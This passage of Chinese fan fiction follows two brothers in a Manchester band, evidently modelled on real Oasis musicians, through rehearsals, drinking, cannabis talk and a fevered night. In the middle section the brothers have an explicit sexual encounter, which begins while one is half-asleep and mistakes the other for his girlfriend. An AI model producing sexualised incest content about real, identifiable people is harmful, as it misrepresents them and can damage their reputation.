几乎所有人都这样认为,对着BOSS写歌压力视而不见。
“你们这群懒鬼。”
诺尔骂了一句就收篇了,他不会指望头哥或者利亚姆去写歌,当他们在诺尔面前搬出狗屎一般的歌曲,这简直太糟糕了。
“我们对写歌没兴趣。”头哥点上一根烟,对着他们的BOSS说道。
“Yeah …”贝斯手与鼓手迎合,他们对写歌真的没什么兴趣。
诺尔将视线放到他们的年轻主唱身上。
“我?”利亚姆指着自己的鼻子,“Fooking cunt, 我才不想写歌,我不会加入到写歌行列,你知道我什么意思,我只想站在麦克风前唱你的歌。”
他对着他哥摊手,“让我们排练吧,我讨厌死这个话题了,写歌不适合我,有可能等到恰当的时候,你知道的现在并不是很恰当。”
“得了,你个滑头。”诺尔对着懒惰的男孩翻白眼,吐出脏话,“You tart! ”
“当然我是,我不仅是个混蛋我还是个bitch!”利亚姆抓着话筒大言不惭道,他看起来一点儿也不
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知道羞耻,乐于将混蛋(tart)、bitch等词加于自己身上。
“得了吧。”诺尔跨上台将电吉他插上电,e on, 我们八点演出!”
他挑出几首歌来练习,督促每个人是否弹得正确。话筒架旁的男孩唱得很棒,他挑不出一点错,所以他关注其他成员的弹奏。
第二首《bring it down》的鼓点有些不对,很容易听出。
“Tony!”诺尔的情绪上来了对着他们的鼓手吼了一声。
“把你该死的鼓点跟上,你是没吃饭么!”
“Sorry… ”Tony不好意思回。
头哥是位很好的朋友,他照顾每个人的情绪。
“Tony,你一岁的女儿扰得你睡不着觉吃不成饭么?这真糟糕。”
“Yeah …”
就当它是鼓手鼓点跟不上的解释,诺尔将嘴边的脏话收回,继续练习下一首歌。
他是BOSS,他可以开除乐队里的任何人而没有一丝理由,但现在乐队刚起步一年,作为乐队接管者保持原状是最好的办法,希望该死的Tony不要让他失望。
八点,乐队上台了。Tony表现得很不错甚至超常发挥,果然压力会使人进步。
“你干得很棒。”诺尔对Tony说。
“谢谢。”Tony与他碰杯,不好意思说道,“抱歉chef,我这几天没睡好,因为我一岁女孩的哭闹让我很疲惫。”
“哦,这样啊。”诺尔偏头,“我他妈还以为你磕嗨了,与这比较还是drugs很好。”
他转头翻白眼并咒骂,“我讨厌孩子!”他的样子恨不得消灭全世界的婴儿。
利亚姆在桌对面向他招手,所以他离开Tony来到他弟身边。
“怎么了?”
“看那只鸟。”利亚姆指着坐在吧台边上穿着吊带短裤的女孩。
“很漂亮。”诺尔接过利亚姆递过来的啤酒喝上一口,“她看起来很强势,你要去搭讪?”
“不知道。”男孩摇头,眼神紧紧盯着女孩饱满的臀部。
“呵呵得了,你有塞里尔,她知道会闹的。”诺尔提醒。
“该死的!”利亚姆开骂,“她管不着,我不会让她知道。”
说完对着他哥皱起鼻子,“你不会告诉她吧?”在诺尔摇头后他继续说,“告诉了也没关系,我和她的恋爱只是一场该死的游戏!”
“你确定只是游戏?”诺尔惊讶他的想法。
“当然,除了你我之间的感情不都是这样么?Just games. ”利亚姆终于将视线从女孩的臀上移开,对着诺尔撑着下巴,睁着漂亮蓝色眼睛与他哥对视。
“不是嘛?”
“不是。这太奇怪了,你不觉得么。”诺尔语无伦次说道,眼里闪着惊讶。
36. 缺席排练
“我觉得我们之间很棒!”他对着诺尔露出夸张的笑容并勾起舌头,他扬着浓密的眉毛道。
“你知道我什么意思,我们之间没有任何人,就是我们!”他的笑容逐渐灿烂,没有管诺尔的沉默他继续。
“你脑子是被屎糊掉了么,你可以回答我。”
“哦……”诺尔的手从摸下巴变为抱胸的姿势,显而易见他抵触回答。
他淡淡说道,“我知道什么?”
他就是很贱的人,明明知道答案却还要压着话。当然,这不是他的错,他不知道现在应该说些什么。此刻,他只想让利亚姆闭嘴并乐于见到男孩憋屈的神情。
“滚蛋!”利亚姆从椅子上蹦下来,对着他哥低骂,“我利亚姆汉纳姆是个很棒的男人,我相信我是最棒的人!我他妈不在乎你怎么想!”
说到底,利亚姆可笑的情绪只是为了引起他二哥的关注,男孩对这一切一无所知并认为他哥理所当然关注他爱他。
“你会在乎的。”诺尔偏头轻飘飘的说着。
利亚姆的反应在他意料之中,他不打算与男孩的矛盾冲突变大,毕竟今天是他的生日。
“我是你最爱的人,你会在乎我的感受。”诺尔挂起一抹浅笑,语气有明显的愉悦,他对着男孩招手。利亚姆立刻将脸贴到他手背,他的脾气来得快去得也快,这诺尔很了解,他愿意顺着他。
“得了,今天是你生日不是嘛。你想搞女孩,那你就去搞,不用在意我。”
不爽的利亚姆的被他抚顺情绪,在他掌心晃着脑袋。他没有说话,眼神带着迷茫望着他哥。
“去吧,我不会告诉塞里尔,我对你的爱也不会减少。”
这一句话彻底将利亚姆安稳住。
“我特么就等你这句话了,你知道的!你个混蛋。”利亚姆扁嘴道。
他的嘴唇在他哥手背碰了碰,甜蜜说,“我也是。”他的指尖指着自己的心口,“这里对你的爱永远不会变!”
“得了。”诺尔歪头轻笑。
“那只鸟被人搭讪了,你要被人截胡了。”他手指向那位被利亚姆看上的女孩,提醒道,“你需要打断他们的聊天,然后给女孩一个漂亮的开场。”
“我会的,祝我好运。”利亚姆直起身整理发型,几秒后他自信地走向女孩。
诺尔尽力将内心苦涩的情绪掩住,抬眸抿着利亚姆给他的啤酒,他像自虐一般观赏利亚姆搭讪女孩的过程。
哦,男孩推开站在女孩身前来搭讪的男人,他漂亮的脸蛋总能吸引到女孩的关注,现在不就在发生:女孩被这位抽烟的坏男孩迷住,热情的邀请他坐在一起并请他喝酒,不到一会儿两人就激情的亲到一起。
在两人嘴唇贴到一起前,诺尔立刻转移视线,他特么不会变态到观赏他家兄弟的亲热场面 。
他丢下酒瓶来到门外,Guigs跟在他身后一起出来,他们两顺便蹲在门口抽烟。
“里面很无聊,不是吗?”Guigs搭话。
“是的!”诺尔吐槽,“在这儿我可买不到大麻之类的东西,没有它们的夜晚无聊透了。”他用舌头做了个顶口腔的动作,看起来很性感。
“Fuck! ”Guigs看起来即将蹲不住脚,“我特么爱死大麻了!”他的眼眶周围因睡眠不足而布满乌青,眼睛也因长期吸大麻而变得失真,眯着有些突起的眼球发表意见。
“操蛋!我可不像你,我吸这玩意儿是适度的!”诺尔故意指着他眼周严重的乌青,“停止吸大麻吧,你的命是最重要的!”
“不是哥们,我不可能停止。”Guigs对着朋友叹气,“我对这东西上瘾,但我会努力减少它的使用。”
他将烟抛在地上,迟钝的说,“我的口袋不可能永远有钱,当我没钱时,我当然会没有大麻!”
“呵呵。”诺尔低哼,显然不理解Guigs对大麻的上瘾性。
这玩意儿不就和酒一样,它只会为夜晚添点乐趣味。如果你只依靠大麻度过寂静的夜晚,那你做人也太失败了:你是找不到女孩陪你吧,快滚去找个女孩与她搞在床上。这是诺尔一直坚持且认为的,显然这不适合每个人。
“得了哥们,我不陪你了,我要回公寓了。”
他兴致怏怏的直起身,继续点上第二支烟。Guigs下一秒向他伸手要火,所以他干脆把刚抽一口的香烟递给他。
“Guigs?”
诺尔踢着脚边的地面,突然他喊了一声。
“什么?”Guigs疑惑抬头,“你有什么需要说,如果有我能做的我会尽力。”
朋友的直白让诺尔噎在喉咙里的话得以释放。
“帮我看住Rkid, 好吗?我需要知道他今晚的情况。”
他拉着Guigs站起,让他的视线跟着弯起的手指走,诺尔正指着一对拥抱在一起的年轻男女。
“利亚姆?”Guigs趴在窗台观望,几秒后他转头对着诺尔惊讶问。
“是的,他喝醉了。”诺尔头疼说道,“今晚需要你帮我看住他,一位朋友在他身边会容易很多,这会让他搞事的心思歇下去。”
“当然,利亚姆是我的朋友,我会照看他,毕竟我今晚也是需要与他们待在一块儿的。”
Guigs耸肩无所谓说着,他在诺尔肩头拍一下,“你可以离开,放心吧。”
“谢了,兄弟。”
有朋友的保证诺尔放心的离开了。
他平常不会这般叮嘱,因为他会陪在Rkid身边与他一起胡闹。并不是说今晚他不想陪,只是他太累了,由于昨晚露易丝的胡搞,他感到浑身乏力,急需回到公寓躺在床上好好睡一觉。
走了几分钟就到了公寓,房间里黑暗且安静,床上微微隆起,露易丝在睡觉。他靠近床铺,掀开被子钻进去。
“今天回来挺早。”露易丝转身拥抱他。
“嗯……有些不舒服。”
诺尔将脑袋埋入松软的枕头,懒懒说着。
“你还好吗?你有点发热。”女友掌心覆盖在他的额头,担忧问道。
“我没事,真的。我只想睡一觉。”他把女孩的手牵住拉到被子里,语气略带无奈,“现在是凌晨,我不想再折腾,让我们睡觉吧。”
“我的错……”自责的女孩这样说。
这让诺尔在黑暗中笑出声,他抚摸女友的肩头,“已经发生了,不是吗?让我们就此翻篇。”
他拥着女友闭上眼睛,酝酿睡意。
“没有下次,我不会再接受,你知道我什么意思。”
“当然,我保证。”
得到女友的肯定回答,他安心入睡。
早间他被噩梦惊醒,梦到一条巨蟒将他的脖子绞死。当满头冷汗的睁眼,发现女友的手臂紧紧箍住他的脖颈,这点到让他想起利亚姆,这两人的睡觉姿势过分的相似。他不动声色将女孩的手臂扒开,下床去烧茶。
洗完漱的他坐在桌子旁喝着早茶,吃着刚煎好的蛋饼,这个早晨才算得上美好。不但浑身乏力以及头疼得要死,坐在椅子上的屁股也有点疼,这些可以忽略不计,他觉得可以忍受。露易丝已经起床化妆,她离冰箱比较近,所以他让女友将冰箱的香槟拿来。
“现在喝香槟有些
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早了!”露易丝控诉他不节制的行为,但她还是将香槟推到他手边。
“我现在需要它。”诺尔紧皱着眉毛,抬起香槟就往嘴里灌,喝了小半他继续说道,“我的身体在向我发出抗议,我最好来点酒精让脑子运转。”
“行了。”露易丝翻白眼表现出不赞同。她结束化妆,来到门口,嘴里咬着半块煎饼。
“我走了,电视柜下面藏了退烧药。”她已经拿上车钥匙,不放心叮嘱,“把药吃了,今晚回来我会检查药的数量。晚上见,亲爱的。”她快速向男友展示爱的飞吻从门口离开去上班。
诺尔的视线依然放在门口,就好像露易丝从未离开一般。他终于收回视线,扶着桌子不紧不慢地喝着香槟吃着煎饼。吃完后,他来到浴室洗个澡并刮个胡子,穿上一件洗干净的灰色套头衫和一条蓝色牛仔裤,天气不是很冷这样穿很适合。
将卫生收拾妥当,他终于想起吃点药来缓解发烧所带来的头疼乏力,蹲在电视柜前将所有的感冒药摆在地上,把能吃的药片挑出来兑着水一并吞下。
现在是早上十点零三分,这对于吉他手来说过于早了,因他昨晚没有过分鬼混和吸嗨,他有很足的精力来干正事。抱着木吉他坐在窗台,诺尔的嘴里咬着烟但没点火。
一本中等厚度的笔记本搁置在腿上,它在吉他和弦中被主人翻页,那人左手拿着的签字笔在它空白的横线上涂画并写着。
不知道过了什么时候,那人的动作突然停止,他难耐的清着嗓子咳嗽,眉毛因困顿紧皱着,整个人显得很低沉。好了,他应该放任自己休息一会儿,一个小时或者几个小时,他不清楚。他放下木吉他和纸笔来到床边,在脱下鞋后急迫的躺到床上,胳膊弯起盖到眼周,当视线变得黑暗他立刻陷入睡眠。这种情况对他很不常见,多亏感冒药的功效让他得以陷入快速的睡眠。
陷入睡眠的人是没有时间概念的,当你还发着烧,buff将会叠满。理所当然,这位从不缺席乐队排练的吉他手睡过头了,在晚上六点的排练时间他没有准时到达。
这太不同寻常了,对于一位乐队管理者来说。所以,排练室的主唱首先发现不对劲,他对着呆呆站在音响前的成员们问。
“Rkid今天迟到了!我敢确信时间已经超过六点了!这对他来说很不正常,不是吗?”
“当然,Chef(诺尔)他从未缺席。”成员们一致认同。
“要不我们再等等?”头哥迟疑出声。
“No! 我可不会像傻子一样等待一位迟来的混蛋!这很操蛋!”主唱来到他的话筒架旁住着话筒说,“Boolaski——(垃圾——)。”
与此同时他有些烦躁的在台上踱步,在所有成员的脑袋被他烦躁不安的脚步声搞烦前,他们将利亚姆叫停并安慰。
“Your kid (诺尔)是个成年人,他会清楚他干什么,不用担心。”
话尽就遭到主唱不服的反击,“我特么才不会担心他!你知道我什么意思,因为他的缺席导致排练无法正常开始,操蛋的家伙!”
“呵呵……”头哥和Tony笑出声,利亚姆明明就在担心他家兄弟,他死鸭子嘴硬的姿态相信任何人看到了都会笑话他。
“得了朋友们——”利亚姆收回脏话转而道,语气迟疑。
“Rkid不会被车撞了吧?他会不会已经死掉了?”他继续发散思维,“或者说他被他家女巫搞死了?毕竟他们两人并不适合!”他无意中透露出自己的心思:讨厌露易丝,认为她是位邪恶的女巫。
“你可以去他家公寓看看,这不会很远的。”头哥建议道。
37. 胡搞
话毕,他们的年轻主唱难得的沉默起来,被长发盖住的额头抵在墙上,他看起来很纠结。
“你应该这样做,看看your kid (你家兄弟)在干什么。”Tony和Guigs建议。
“得了,我他妈烦透了!”利亚姆跳脚,浓且厚的眉毛像麻绳扭在一块儿,“他是我兄弟, 我特么会去找他…我爱他,你知道我什么意思,我现在就去。”
他对着朋友们甩着手臂抱怨,“你们太啰嗦了,SHUT IT! ”
利亚姆真是个坏小子。当他家兄弟在排练室时,诺尔是他坏情绪的首要发泄对象;当他家兄弟不在时,他的坏情绪就全发泄到房间里的朋友们身上。
“你个臭屁的混蛋!You cunt! ”头哥指着门口骂,利亚姆刚刚从门口消失。作为利亚姆的头号朋友,他知道利亚姆就是个需要他哥陪伴的小混蛋。
与此同时他很赞同一件共识:凡是见过利亚姆的人都会被他惊到,这孩子有漂亮的面孔、拽酷的走姿但又极其孩子气与不可思议的纯真,这特么真让人惊讶这些品质能在这个混蛋身上能共存。
利亚姆可没有听到头哥在房间里骂他,就算听到了他也不打算管了,他现在只想确认Rkid到底在公寓搞些什么,是昏迷了还是死了?他只需要知道这些。
利亚姆带着真诚的严肃的急迫的的态度敲响目的地的公寓门。
“哐哐……”他轻微敲上几声,几分钟过去了,没人应。
他又等了一分钟,试着转动门把手。
“操蛋!”他就像个傻子一样在没锁的门前站了三分钟,这太蠢了。
他把门打开使了劲喊,“Rkid!”
没人应,但利亚姆知道他一定在这!因为特么的门没锁。
他把门旁的灯打开,透过黑暗的走道隐约看到床上弓起的弧度,好了诺尔没死,特么的他在睡觉,但他太安静了,利亚姆可以感觉到这不正常。
“诺尔……”焦虑低声说,他在昏暗的灯光中摸索到床边,“你还好吗?”说着并用掌心磨蹭他家兄弟的后背。
“Lou? ”
他家兄弟终于出声了,不过他把利亚姆认成他女友露易丝。
利亚姆松了一口气,没死就好。刚想有所动作甩起袖子痛骂床上睡觉的懒鬼,他的胳膊就被他家兄弟抱住,因身体的瞬间失衡,他摔倒在床上与他家兄弟抱作一团。
“你回来那么早?”诺尔依然坚持他的想法,他认为怀里的人是露易丝,他发烧的像浆糊一般的脑子让他无法思考。
这特么太糟糕了,他的身体持有对女友的喜欢,条件反射就剥下“露易丝”的裤子,嗯……诺尔像傻子一样没有感觉任何异常,男孩女孩对他又有什么区别(他都搞过),更重要的是他觉得他抱的人是露易丝。
“操……蛋!”利亚姆完全惊住了,一句脏话反复骂出口,抓着身上人的肩头说不出完整话。
“你他妈要搞什么……stop it! ”喊了几声没反应他摆烂了,“你他妈怎么搞就怎么搞吧,whatever。”他爱Rkid,无论要做些什么他都特么像个廉价的bitch一样接受。
诺尔对着下方人的脖子进行轻吻,然后很有技巧的抬高脑袋勾着舌尖与对方舌头来个黏糊惹人情动的交缠。
这一操作下来,他若不发现些什么他就是个智障。他终于睁开眼与利亚姆在黑暗中对上视线,惊疑哼一声,眼里满是笑意与调侃,“你特么不是露易丝!你个骗子……”
他知道了,他应该知道!利亚姆一改迟疑的态度,立刻把他家兄弟脑袋扣到耳畔轻声说,很坦诚勾引,“继续……please,我知道。”
诺尔将利亚姆的掌心放到发热的脑门上,“我他妈烧糊涂了,把你认出露易丝了!糟糕……”嘴里说着糟糕,但他的舌头可没停,顺着下方人的脖子曲线继续。
他过分发热的舌头在男孩裸露在外的皮肤接触,所到之处(脖子)带起栗动。
“你特么吃退烧药了吗?”
“吃了,放心。”
诺尔边回答边脱下自己的居家服,“我觉得你应该也吃点。”
他说完,带着意有所指“你知道我什么意思”的低笑。
“Shut it.闭嘴。 ”利亚姆双臂往后撑,在寻找到发力点后以一个迅速的姿势翻到诺尔身后,“搞你,行不?”
“特么……当然不行!”
“你在开什么玩笑?”
诺尔突然被他从身后抱住,惊讶得如遭雷击,嘴角的笑意瞬间凝固,仿佛时间都在这一刻停滞。好不容易才再次开口,声音很轻,但不带有丝毫的妥协,或他再没有继续深入交流的打算。
“真扫兴!You fooking cunt! ”
利亚姆撒开抱住的手臂变成抗拒性的抱胸姿势,口气很冲道,眼神却落在前方缥缈的黑暗中。
“你在害怕吗?”笃定转头问,他觉得诺尔害怕与他深层次亲近。
“我害怕什么?”旁边的诺尔这样说,眼睛不确定半眯着,嘴角下垂。显然,他厌倦利亚姆的问题。
利亚姆犹如被点燃的火药桶一般,被他的态度彻底惹怒,他像一头发怒的雄狮,靠在床头与他对质。
“你难道不知道吗!就是我和你之间的狗屁爱情,我知道我们是brothers,但是你在抵抗些什么!在怕些什么!”
说完立刻遭到反驳。
“我特么没什么好害怕的,我可不像你什么都不在意!”
诺尔光着上半身下床并大声道。
在他家兄弟即将开口时,用侮辱性的手势止住他,但没啥用他家兄弟仍然口吐脏话。
争执不休不到一分钟诺尔就受不了利亚姆的坏脾气,他带着不爽的心情坐到床头抽烟。当然,他家兄弟依然靠在床头咒骂他,嘴里嚷嚷着:你他妈不爱我,恨我啥的,像个撒泼的怨妇。
诺尔在忍耐,有时耐心的解释几句,“这不是正常的感情,你知道我什么意思……shit. ”,他左腿搭在床边维持这个姿势等待结束。
终于他打算加速这场闹剧的结束,让双方马不停蹄的嘴巴闭上,这他妈就很没有意思,比如说……
“你个混蛋。” “你他妈才是混蛋。”
“你是傻逼。” “你他妈闭嘴。”
“我恨你。” “不,你爱我。”
他俩像个机器人一样在不停地重复,这很惊悚不是吗?
“你给我从床上下来……”
诺尔没辙了,他很累很烦躁需要让利亚姆下床滚蛋,望着男孩起皮的嘴唇,语气低沉继续说,他在威胁。
“你知道的,你不能待太久,我特么不知道露易丝什么时候回来,我可不想当露易丝回家时看到光溜溜的你躺在她的床上。”
“得了吧。”说到露易丝他吃醋了,需要为自己赢些脸面。利亚姆半坐抬着屁股挪到他背
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后,“你想我走?你知道的我的脾气很不好。”
说着并将下巴放在他肩上,腻歪得很,一点也看不出刚刚骂人的凶狠样儿。
“嗯……”
看到利亚姆服软的蓝色眼眸,诺尔愿意给个台阶让今晚相安无事度过。
他下床从冰箱里拿出两罐酒,把其中一罐递给他。
“来喝一杯?”
“行……当然。”利亚姆接过酒,与他一同坐在地上。
“我们特么像傻子一样!”
“一点也不。”诺尔边抽烟边喝酒,抽空回答。他带着锐利的眼神透过烟雾与男孩对望。男孩的眼睛很漂亮,唇形也很好看,睫毛也很长……在诺尔发愣中利亚姆已经覆了上来。
“这样很好……”
“你在暗示我什么吗?”利亚姆抬眸,举起酒与对方碰杯。
在罐头碰撞声音发出那一刻,双方也不知道是谁先开始,互相缩短彼此的距离。鼻尖对鼻尖,嘴靠嘴……
“你特么引我的,不是我的错。”对着男孩耳畔低声说,他双臂圈住利亚姆的脖子胸口紧密贴着男孩的后背,他们的嘴唇就没有分开过。
很显然,利亚姆已经情动,喘着气半睁眼盯住他,顶着胯在诺尔不知情的情况下已经紧紧贴住。
诺尔有些慌,立刻移开唇,“ 你要搞什么鬼 ?”
话音刚落,利亚姆把他的脑袋往下半身按。
是个男人都知道这个动作的侵略性,诺尔又是个极其骄傲的男人,他止住男孩的动作对他对视,在昏暗的灯光下两人互相僵持。
几分钟,利亚姆放轻了力道,然后诺尔妥协了,顺着男孩的力道suck and deepthroat。
完事后。
诺尔迎合他,抓着男孩的脑袋让彼此舌尖交缠。
然后……没有然后了。诺尔靠在床头狠狠抽烟,他不相信刚刚发生的一切,这太惊悚了,对他们兄弟来说。
“你怎么样?”他把烟递给靠在他肩头的利亚姆,诺尔紧皱的眉头一直没舒展,他在苦恼他们所做的事儿,但他已无力改变,毕竟已经发生了容不得反悔。
“还不错,真的……没什么感觉。”利亚姆接过烟。
男孩在吐槽诺尔的blow job的技术?
“行吧,你应该滚蛋了。”诺尔不爽道。
“行了,我走了。”利亚姆可不想惹他厌烦,拍着屁股站起来。
“冰箱里的两瓶啤酒我拿走了。”利亚姆朝房间喊。
立刻传来Rkid不耐烦的声音,“拿着你的啤酒给我滚。”
得嘞,利亚姆识相带着啤酒离开了。现在晚上九点,再不离开露易丝回家遇上他就会拿枪干到他脑袋上了,利亚姆刻不容缓离开这个是非之地,放弃和Rkid聊天的想法。
利亚姆没有感到尽兴,他需要更多的sex。他甚至还有精力去找赛里尔再来一发,像一头不知疲倦的牛一样耕作,完事后搂住女友一同躺在家里的床上睡觉。
这……他与他家兄弟搞在一起,之后又与塞里尔□□。他是伟大的存在,这么不可思议的事儿竟然在一个晚上同时发生。他并没有觉得不正常,他觉得这是必要的,他爱他们,就应该与他们□□,不是么?
……这是利亚姆确切的想法,你他妈想做什么,你就给我去做,放下那些该死的骂声与指责,对他来说这些恶意都是一值一提的狗屎!这才是玩乐队该有的态度,为它们疯狂!
38. 利物浦演出1
正巧在利亚姆离开一小时后露易丝回来了,注意到床边摆放着二三罐装啤酒。
她来到男友床头询问。
“刚才谁来过?你在背着我胡搞吗?”语气暗了下去,带着隐藏的怒火。
“没有!”
诺尔急切回答,给他家兄弟做□□算胡搞么?他觉得不算,因为利亚姆也有给他口,这种只能算作兄弟间的互相帮助。
“我特么没搞女孩,刚刚Rkid来过这儿。”他指着地上的空酒罐,提高音量,“那个混蛋喝空了我两罐啤酒,相信我下次我绝不会给他免费喝!”
“得了,我相信你。”露易丝平熄怒火,她可以忍受男友与夜店里的birds(女孩)亲近,但她可不会想在家里看到莺莺燕燕们,这是她的底线。她相信男友会知道,相信他没有说谎,但她需要提前给他打个预防针……
“如果你把姑娘们带到我的床上胡搞,我会……”
“你会什么?”诺尔转身抱住女友,靠在她脑袋上轻言。
“会捏爆你的蛋!”说着,露易丝在男友胯上捏了一把调笑。
“得了,你这个邪恶的女孩。”诺尔扯开露易丝贴在他下半身的手。
利亚姆可不是个女孩,他是货真价实的男忍。想到利亚姆变成女人的模样诺尔笑出声,忽略掉女友投来的疑惑视线,他立刻转移话题。
“你今晚回来很迟啊?”呃……转移话题很刻意,但刚刚结束工作疲惫不堪的女友没有追究,因为她也有事告知男友。
“Yeah ——”露易丝放软声音,“我明天要跟着boss去外地出差,今晚把出差行程安排一下。”她抱着男友紧了紧手臂,愧疚道,“你还在发烧而我却不能在你身边照顾你,我不是位好女友,抱歉。”
“这不算什么,振作起来。”诺尔安抚摩挲女友的肩头,风趣说道,“若你因没法陪我而愧疚,你可以从你的工资中拿给我一百英镑,我保证我会很开心。”
“Haha,你要吗?我真的会给你。”露易丝也幽默回问。
“当然亲爱的,请把一百英镑放到我的手里。”诺尔对着露易丝展开手心,向女友索要钱币。
露易丝很配合他,从包里翻出一百多英镑给他。
“给你一百三十英镑,三十英镑是支付我明天早餐的费用,你知道我什么意思。”
“当然。”诺尔身上可没多少钱,对女友的大方他感到意外。
“需要我为你服务吗?”他尝试进行额外的补偿。
“服务?”露易丝暧昧反问,在想到男友还在发烧后她摇头拒绝。
“我不需要你的服务,我现在只想睡觉。”她离开诺尔的怀抱下床换衣洗漱,在收拾好后关心询问,“你吃退烧药了吗?亲爱的。”
“当然。”
“好点了吗?”
“Fooking NO! 我需要更多的睡眠,药片对我来说没用。”
“行吧……嘘……那我们睡觉。”
与风流利亚姆相比,诺尔这边相对温馨甜蜜,诺尔喜欢与女友待在一起的时间,没有无限的争吵和不满,只有温情的包容与理解。
说到这儿,诺尔很难想象与利亚姆温情的对视并抱在一起,这特么太恐怖了。如果你让他在摄像机面前与利亚姆对视,他会立刻笑场,因为安静温情的场面并不很适合这兄弟俩,他们看起来像是随时即将打起来。
说真的,这一点儿也不怪诺尔不想与利亚姆待在一块。因为Rkid的情绪就像一个不定时炸弹,你不会知道它因为什么被引爆,因为不知道它被引爆后会发生什么吊事。
而与Rkid待在一块儿的他,也被不知名的情绪附体,说出做出自己都不曾想过的事。他会后悔会难过会生气,但他们是兄弟,兄弟之间不就是这样吗?离开了你会想念他,待在一起你会烦他,这不会改变。
第二天早晨,诺尔起床为女友做早餐,吃完后女友就带着她的护照离开了,她需要陪同boss飞往美国纽约。
中午诺尔接到一份演出邀请,所以他在下午排练时刻对成员们告知。
“我们需要去趟利物浦,明天早上八点出发。”他这样说,此刻他表现得像个威严年长者。
“我们接到利物浦一家俱乐部的演出邀请,演出负责人会为我们支付住宿费用,但车费和乐器需要我们自己付钱。”
成员们挤在一张沙发上顺从地听着诺尔安排,而利亚姆独自与他并肩站着,这位男孩正对着他哥怪异的微笑。
诺尔快速对着男孩不爽地皱眉,对男孩表达着“你给我安分点”的眼神。
他收回被利亚姆扰乱的心
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神,继续,“我们每个人拿出二十五英镑去租一辆巡演大巴,我相信这辆车足够我们用了,你们还有其他想法吗?”
“不,我们没有。”Guigs和Tony没有异议,举起手兴奋的摆臂,他们对利物浦的演出邀请感到意外,乐意贡献出二十五英镑租车。
“Chef?”头哥突兀地举起手喊。
“怎么了?”诺尔推开利亚姆在他肩头腻歪的脑袋,快速偏头回复Bonehead。
“我的主用吉他坏了,我得去租个好吉他为明天做准备。”头哥将陷入沙发的身体拔起。
他站到利亚姆右边,偏着身子与诺尔面对面,从口袋拿出香烟与诺尔分享。
“我家附近有专门租乐器的商店,叫RoadHouse Music的店铺。你需要吉他么,我明天可以给你带一把吉他过来。”
“不用,我的吉他没有损坏,我可以应付明天的演出。”诺尔接过头哥递过来的香烟,在点火后回答。他的眼睛没有分出余光给头哥,完全瞥向在旁边展示空手道的利亚姆。
头哥识趣地回到沙发上,抽着烟喝着酒享受排练前的放松。对,现在才晚上六点一刻,他们的晚间排练还未开始。
“你他妈在干什么?你像个傻子一样在劈叉。”诺尔忍不住笑了,他指着利亚姆滑稽的空手道姿势。
“你懂什么!”利亚姆不服气道。下一秒他转动身体直直面对诺尔,对着他哥来个快速的肘击。
“FUCK YOU! ”
诺尔捂住下巴痛呼,很不巧利亚姆的胳膊肘打到他的下巴。
“你特么给我安分一点!”他拿出年长者的气势,把利亚姆压倒到身下,“给我闭嘴。”他迅速捏住利亚姆的嘴巴让他吐不出脏话,举起手在他的屁股上打了几巴掌。
利亚姆张嘴大笑挑衅,并扭动身体躲避诺尔的巴掌。
“你个控制狂!你应该去当吹口琴的吊人,你的口技逊爆了!”
先声明一下,所有的的成员都在排练室里,都在关注房间内兄弟俩的斗殴,并戏谑打赌这次是哪个兄弟打赢,他们乐此不疲看到这个兄弟相争场面的发生。但当利亚姆骂诺尔口技差时,他们难道得收起嘴角的笑容,对利亚姆的话感到困惑:诺尔口技差?blow job?利亚姆怎么知道的?
39. 利物浦演出2
“What!? ”Tony与Guigs几乎同时惊呼,头哥坐在他们两中间抱着酒瓶戏笑。
“这这这……是胡话,他在……在说谎!bullshit…”诺尔急切喊道,由于紧张他的口吃又犯了,舌头在嘴里打结牙齿咬住腮帮子,他意识到自己的窘况僵着脸快速从利亚姆身上翻下站起身。
“Rkid的嘴里没一句真话,我相信他在放屁,你们都知道!”诺尔指着利亚姆说道,眉毛嘴角耷拉着。
利亚姆对着沙发上的朋友们摇头,并坐在地上疯狂的大笑。
他对着诺尔抬起手,他家兄弟和往常一般立刻牵住他的手拉他站起。
“他说什么就是什么,毕竟只有我们两人知道!他是操蛋的boss。”利亚姆无奈摊手道,并在“boss”上加重语气。他在对着诺尔隐蔽地挑衅,因为诺尔这个混蛋没有胆子承认他昨晚干的事,这个狡猾的软蛋臭虫。
“你特么在心里骂我吗?”诺尔用指尖不爽地戳着利亚姆的腰侧。
在看到利亚姆偷笑的表情后他再次指着男孩骂,“你绝对是在骂我,我能从你的眼里看出来!你个混蛋!”
“BOO——”利亚姆大摇大摆走到台上对着兄弟发出不满的嘘声,“你个垃圾,你做兄弟都做不好,我可不知道哪家兄弟抱着我……”
说话半途戛然而止,诺尔像个猎豹一样行动,他快速扑到利亚姆身后扼住男孩的喉咙让他说不出一点话。
“别再说了,你他妈要死吗?”诺尔以微弱的音量在利亚姆耳畔威胁呵斥,“你能让我省心一点儿吗?别特么把不该说的话说出来!”
他若再不阻止,利亚姆这个傻子下一秒就会把他们干得龌龊事全部抖出来,那些需要隐藏的感情,那些需要埋藏在阴暗的土里而不是光明的展示出来。
“Piss off,you cunt!”利亚姆边骂边挣开诺尔紧紧捆住的双臂,“得勒哥们,我会闭上我的嘴巴。”说完他的手靠近嘴边做出拉拉链的姿势,他对着他哥抿唇以证明他不会乱说。
诺尔黑着脸站在一边,利亚姆抿着嘴无措地站在与他完全相反的方向。明眼人都能看出,这兄弟俩又闹脾气了。
“现在晚上七点了,我们开始排练吧,诺尔?”头哥放下酒瓶带着其他成员来到兄弟俩身边,他想缓和排练室不稳定的情绪,“诺尔请拿上你的吉他,利亚姆你给我站到话筒架旁。”
头哥发挥他老大哥的气势叮嘱每个人对今晚的排练专注,不然明天的演出会被他们搞砸,他们将拿不到任何工资。
“搞砸的可不是我们,而是我家那位不听话的男孩。”诺尔终于出声,但他让排练室里的气氛更加不安了。
“你特么再说一遍?FUCK YOU, YOU KNOW! ”利亚姆的坏脾气被他挑起,对着他哥横眉冷对,竖起中指吐口水。
“Piss off, 你个问题男孩!”
诺尔的音量大到排练室里的所有成员都能听到。
不好……不是除了汉纳姆兄弟俩其余三位成员的心声,一场大战即将到来。头哥经验丰富对着Tony使眼色让他拉住利亚姆别让他乱来,又指挥guigs去陪伴诺尔安抚他的情绪,而头哥两头跑为兄弟俩传话。
这只是排练室里经常发生的小问题,他们都习惯了。三位成员分工安抚,矛盾立刻得到缓解。所以,在诺尔抱着吉他弹奏时这个问题才算彻底解决,若他不满意,他会扔下房间里的所有人逃走,逃到任何人都找不到的地方休息几天。幸好,今晚他没有逃走的打算……
